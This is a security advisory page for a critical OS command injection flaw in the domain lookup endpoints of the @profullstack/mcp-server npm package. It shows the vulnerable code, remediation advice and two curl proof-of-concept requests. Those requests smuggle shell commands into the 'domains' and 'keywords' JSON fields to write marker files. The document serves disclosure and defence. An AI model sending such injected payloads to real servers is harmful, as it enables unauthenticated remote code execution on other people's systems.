Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
9.8

mcp-server vulnerable to command execution through domain lookup

GHSA-v6wj-c83f-v46x
Summary

The mcp-server's domain lookup module allows an unauthenticated attacker to execute arbitrary system commands. This could lead to unauthorized access to system resources, data theft, or system compromise. The affected server is exposed to the internet and has no authentication requirements, making it vulnerable to exploitation. Users should update to the latest version of mcp-server to fix this issue.

What to do

No fix is available yet. Check with your software vendor for updates.

Affected software
Ecosystem VendorProductAffected versions
npm profullstack @profullstack/mcp-server <= 1.4.12
Original title
@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module
Original description
<html>
<body>
<!--StartFragment--><html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1>

Field | Value
-- | --
Project | profullstack/mcp-server
Repository | https://github.com/profullstack/mcp-server
Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9
Affected Module | mcp_modules/domain_lookup
Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk
Vulnerability Type | CWE-78: OS Command Injection
CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication Required | None
Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware
Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)


<hr>
<h2>Summary</h2>
<p>The <code>domain_lookup</code> module assembles a shell command string by concatenating user-controlled input (<code>domains</code> / <code>keywords</code>) and passes it to <code>execAsync()</code>. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.</p>
<hr>
<h2>Affected Code</h2>
<ul>
<li><code>index.js:27</code> — server binds to <code>0.0.0.0</code>, no global auth middleware.</li>
<li><code>mcp_modules/domain_lookup/index.js:52</code> — registers <code>POST /domain-lookup/check</code>.</li>
<li><code>mcp_modules/domain_lookup/index.js:55</code> — registers <code>POST /domain-lookup/bulk</code>.</li>
<li><code>mcp_modules/domain_lookup/src/service.js:19, :20</code> — <code>buildTldxCommand()</code> concatenates user input into the shell string.</li>
<li><code>mcp_modules/domain_lookup/src/service.js:114, :115, :142</code> — <code>execAsync(command)</code> sink reached from both routes.</li>
</ul>
<hr>
<h2>Vulnerable Code</h2>
<p><strong>File:</strong> <code>mcp_modules/domain_lookup/src/service.js</code></p>
<p><strong>Step 1 — User input concatenated directly into a shell string:</strong></p>
<pre><code class="language-js">buildTldxCommand(keywords, options = {}) {
let command = `tldx ${keywords.join(' ')}`;

if (options.prefixes?.length) {
command += ` --prefixes ${options.prefixes.join(',')}`;
}
}
</code></pre>
<p><strong>Step 2 — That shell string is executed as-is:</strong></p>
<pre><code class="language-js">async checkDomainAvailability(domains, options = {}) {
try {
const command = this.buildTldxCommand(domains, options);
const { stdout, stderr } = await execAsync(command);
</code></pre>
<p>There is no sanitization between Step 1 and Step 2. Shell metacharacters (<code>;</code>, <code>|</code>, <code>$()</code>, etc.) in user input are interpreted by <code>/bin/sh</code> at execution time.</p>
<hr>
<h2>Proof of Concept</h2>
<p>Tested against a local Docker build of the affected commit (<code>0.0.0.0:13000-&gt;3000/tcp</code>).</p>
<h3>PoC A — <code>POST /domain-lookup/check</code></h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/check \
-H 'Content-Type: application/json' \
-d '{"domains":["example.com; echo final_check_poc &gt; /tmp/verify-exports/final_check.txt; #"]}'
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:39 GMT

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"}
</code></pre>
<p><strong>Side effect confirmed inside container:</strong></p>
<pre><code>$ cat /tmp/verify-exports/final_check.txt
final_check_poc
</code></pre>
<h3>PoC B — <code>POST /domain-lookup/bulk</code></h3>
<p><strong>Request:</strong></p>
<pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/bulk \
-H 'Content-Type: application/json' \
-d '{"keywords":["safe","x; echo final_bulk_poc &gt; /tmp/verify-exports/final_bulk.txt; #"]}'
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:40 GMT

{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"}
</code></pre>
<p><strong>Side effect confirmed inside container:</strong></p>
<pre><code>$ cat /tmp/verify-exports/final_bulk.txt
final_bulk_poc
</code></pre>
<h3>Note on HTTP 500</h3>
<p>Both requests return HTTP 500 because <code>tldx</code> is not installed in the test container. The injected commands are interpreted by the shell <strong>before</strong> <code>tldx</code> is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where <code>tldx</code> is installed, both the intended function and the injected commands execute.</p>
<hr>
<h2>Impact</h2>
<ul>
<li>Unauthenticated remote code execution as the server process UID.</li>
<li>Full read/write access to any file the server process can access.</li>
<li>Potential for outbound connections, credential theft, persistence, and lateral movement.</li>
<li>Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.</li>
</ul>
<hr>
<h2>Suggested Remediation</h2>
<ol>
<li>Replace <code>execAsync(command)</code> with <code>child_process.execFile</code> or <code>spawn('tldx', [keyword1, keyword2, ...])</code> — pass arguments as an array, never as a concatenated shell string.</li>
<li>Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.</li>
<li>Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.</li>
<li>Default the server bind address to <code>127.0.0.1</code> and require explicit opt-in for non-loopback bindings.</li>
</ol>
<hr>
<h2>Verification Environment</h2>
<ul>
<li>Local Docker container only; no third-party deployment was tested.</li>
<li>The container does not include the <code>tldx</code> binary; this is intentional for safe local PoC and does not affect exploitability.</li>
</ul></body></html><!--EndFragment-->
</body>
</html>
osv CVSS3.1 9.8
Vulnerability type
CWE-78 OS Command Injection
Published: 9 May 2026 · Updated: 9 May 2026 · First seen: 9 May 2026